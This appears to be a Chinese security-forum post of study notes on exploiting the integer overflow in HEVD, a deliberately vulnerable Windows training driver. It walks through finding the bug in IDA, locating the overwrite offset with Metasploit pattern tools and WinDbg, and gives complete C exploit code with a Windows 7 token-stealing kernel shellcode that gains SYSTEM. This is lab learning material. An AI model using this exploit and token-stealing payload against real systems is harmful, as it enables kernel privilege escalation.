首页
社区
课程
招聘
[原创]初探内核漏洞:HEVD学习笔记——IntegerOverflow
2022-7-19 19:19 7862

[原创]初探内核漏洞:HEVD学习笔记——IntegerOverflow

2022-7-19 19:19
7862

目录

HEVD学习笔记——IntegerOverflow

0x00 漏洞原理

每个类型占用的内存空间是有限的,存储大于最大支持值/小于最小支持值的数据就称为整数溢出/整数下溢。整数溢出本身不会导致任何的代码执行,但可能会导致栈溢出或堆溢出,从而导致任意代码执行。

比如,在32位系统上,无符号整型数据的长度为4字节,占32bit表示的数的范围是0x00000000~0xffffffff,那么最大值0xffffffff+1将变成33bit的数,但内存空间只能容纳32位,将高于32位的部分舍弃,该无符号整数值将为0。

0x01 漏洞定位

IDA打开HEVD.sys,找到IrpDeviceIoCtlHandler函数的反汇编:
图片描述
进入TriggerIntegerOverflow函数的反汇编,Size是用户缓冲区长度,一个无符号整数,占4字节的空间。代码里的验证条件if(Size+4<0x800),如果满足,将用户缓冲区复制进内核缓冲区,遇到0x0BAD0B0B0则停止复制。
图片描述
可以发现,很大的Size如0xffffffff+4=3能绕过代码中的验证条件,存在整数溢出漏洞。绕过验证条件之后可以构造足够大的数据造成栈溢出,进而执行任意代码。

0x02 漏洞利用

绕过验证条件之后,我们构造足够大的数据进行对HEVD进行栈溢出。首先定位溢出点,我们可以用msf的工具生成模式字符串(kali系统/usr/share/metasploit-framework/tools/exploit下的pattern_create.rb)
图片描述
我们将用户缓冲区大小设置为0xffffffff,将生成的模式字符串作为用户缓冲区数据,调用DeviceIoControl通过IO控制码0x222027与HEVD驱动进行通信:
图片描述
执行客户端程序之前,我们用Windbg进行双机调试,在TriggerIntegerOverflow函数处下断点,再运行,触发断点:
图片描述
继续运行,触发访问错误,eip为35724334
图片描述
我们使用pattern_offset.rb脚本查看35724334在模式字符串中的偏移为20840x824
图片描述
说明缓冲区的0x824开始的四字节会覆盖到一个可执行的地址,我们只要将shellcode地址写到这里就可以执行起来,然后将0x828处设置为要求的末尾值0x0BAD0B0B0即可。
完整利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include<stdio.h>
#include<Windows.h>
 
// 1.设置符号链接名称
#define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
 
// 2.控制码定义(与0环一样)
#define HEVD_INTEGER_OVERFLOW 0x222027
 
VOID __declspec(naked)TokenStealingPayloadWin7_5() {
    __asm
    {
        pushad; Save registers state
 
        ; Start of Token Stealing Stub
        xor eax, eax; Set ZERO
        mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
        ; _KTHREAD is located at FS : [0x124]
 
        mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
 
        mov ecx, eax; Copy current process _EPROCESS structure
 
        mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
 
        SearchSystemPID:
        mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID
 
            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
            ; with SYSTEM process nt!_EPROCESS.Token
            ; End of Token Stealing Stub
 
            popad; Restore registers state
            xor eax, eax; Set NTSTATUS SUCCEESS
            pop ebp; Restore saved EBP
            ret 8
    }
 
}
 
VOID EXP_IntegerOverflow() {
    // 3.CreateFile打开符号链接得到设备句柄
    HANDLE hDevice = NULL;
    hDevice = CreateFile(DEVICE_LINK_NAME,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Error - Unable to obtain a handle to the driver, error code %d\n", GetLastError());
        exit(1);
    }
    // 4.DeviceIoControl0环发请求并接收返回结果
    DWORD dwRet = 0;
    char exp_IntegerOverflow[0x82C] = {0};
    memset(exp_IntegerOverflow, 'A', sizeof(exp_IntegerOverflow));
    PVOID EopPayload = &TokenStealingPayloadWin7_5;
    memcpy(&exp_IntegerOverflow[0x824], &EopPayload, 4);
    *(PDWORD)(exp_IntegerOverflow+0x828)= 0x0BAD0B0B0;
    DeviceIoControl(hDevice, HEVD_INTEGER_OVERFLOW, exp_IntegerOverflow, \
        0xffffffff, NULL, 0, &dwRet, NULL);
 
    system("cmd.exe");
 
}

运行客户端程序,提权成功:
图片描述

 

大坑:注意shellcode函数的写法,尝试了static VOID shellcode(){}会导致访问0地址错误,VOID __declspec(naked)shellcode()没有问题。

参考文章
HEVD 内核漏洞之IntegerOverflow
Windows内核漏洞学习-内核利用程序之整数溢出


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回